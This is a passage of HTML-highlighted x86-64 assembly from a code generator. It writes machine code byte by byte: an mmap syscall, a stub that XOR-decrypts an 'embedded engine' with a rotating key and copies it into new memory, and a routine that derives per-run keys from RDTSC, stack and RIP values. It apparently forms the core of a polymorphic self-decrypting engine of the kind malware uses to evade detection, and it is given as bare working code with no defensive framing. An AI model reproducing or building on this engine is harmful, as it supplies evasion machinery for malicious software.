    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFFFFFFFF&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

    &lt;span class="c1"&gt;; mov r9,0&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x4D&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x31&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC9&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; syscall&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0F&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x05&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; generate decryption stub&lt;/span&gt;
&lt;span class="nl"&gt;stub_decrypt:&lt;/span&gt;
    &lt;span class="c1"&gt;; mov rbx,rax (save mmap result)&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x89&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC3&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; calculate RIP-relative offset to embedded engine&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;p_entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_sz&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;jnz&lt;/span&gt; &lt;span class="nv"&gt;.usszz&lt;/span&gt;
    &lt;span class="c1"&gt;; fallback calculation&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;p_entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;

&lt;span class="nl"&gt;.usszz:&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;                                &lt;span class="c1"&gt;; engine position&lt;/span&gt;

    &lt;span class="c1"&gt;; RIP-relative calculation&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;                                  &lt;span class="c1"&gt;; after LEA instruction&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="c1"&gt;; lea rsi,[rip+offset]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x8D&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x35&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

    &lt;span class="c1"&gt;; mov rcx,engine_size&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC1&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;engine_size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jnz&lt;/span&gt; &lt;span class="nv"&gt;.engine_sz&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;

&lt;span class="nl"&gt;.engine_sz:&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;
    &lt;span class="nf"&gt;jbe&lt;/span&gt; &lt;span class="nv"&gt;.size_ok&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;

&lt;span class="nl"&gt;.size_ok:&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

    &lt;span class="c1"&gt;; mov rdx,stub_key&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xBA&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;stosq&lt;/span&gt;

    &lt;span class="c1"&gt;; decryption loop&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="c1"&gt;; test rcx,rcx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x85&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC9&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; jz done&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x74&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x10&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; xor [rsi],dl&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x30&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x16&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; rol rdx,7&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC1&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC2&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; inc rsi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC6&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; dec rcx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC9&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; jmp loop&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xEB&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;neg&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; copy to allocated memory&lt;/span&gt;
    &lt;span class="c1"&gt;; mov rdi,rbx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x89&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDF&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="c1"&gt;; calculate engine position&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;p_entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_sz&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="c1"&gt;; RIP-relative offset&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="c1"&gt;; lea rsi,[rip+offset]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x8D&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x35&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

    &lt;span class="c1"&gt;; mov rcx,engine_size&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC7&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC1&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;engine_size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jnz&lt;/span&gt; &lt;span class="nv"&gt;.engine_sz2&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;
&lt;span class="nl"&gt;.engine_sz2:&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

    &lt;span class="c1"&gt;; rep movsb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xF3&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xA4&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;RET_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;bf_boo:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;p_entry&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;sz&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; generate runtime keys&lt;/span&gt;
&lt;span class="nl"&gt;gen_runtm:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;

    &lt;span class="nf"&gt;rdtsc&lt;/span&gt;                                       &lt;span class="c1"&gt;; entropy from RDTSC&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
    &lt;span class="nf"&gt;or&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;                          &lt;span class="c1"&gt;; mix with user key&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;                                &lt;span class="c1"&gt;; stack entropy&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;.get_rip&lt;/span&gt;                               &lt;span class="c1"&gt;; RIP entropy&lt;/span&gt;
&lt;span class="nl"&gt;.get_rip:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="nf"&gt;rol&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;                                &lt;span class="c1"&gt;; dynamic constant&lt;/span&gt;
    &lt;span class="nf"&gt;ror&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;                                &lt;span class="c1"&gt;; dynamic XOR&lt;/span&gt;
    &lt;span class="nf"&gt;rol&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;not&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_key&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

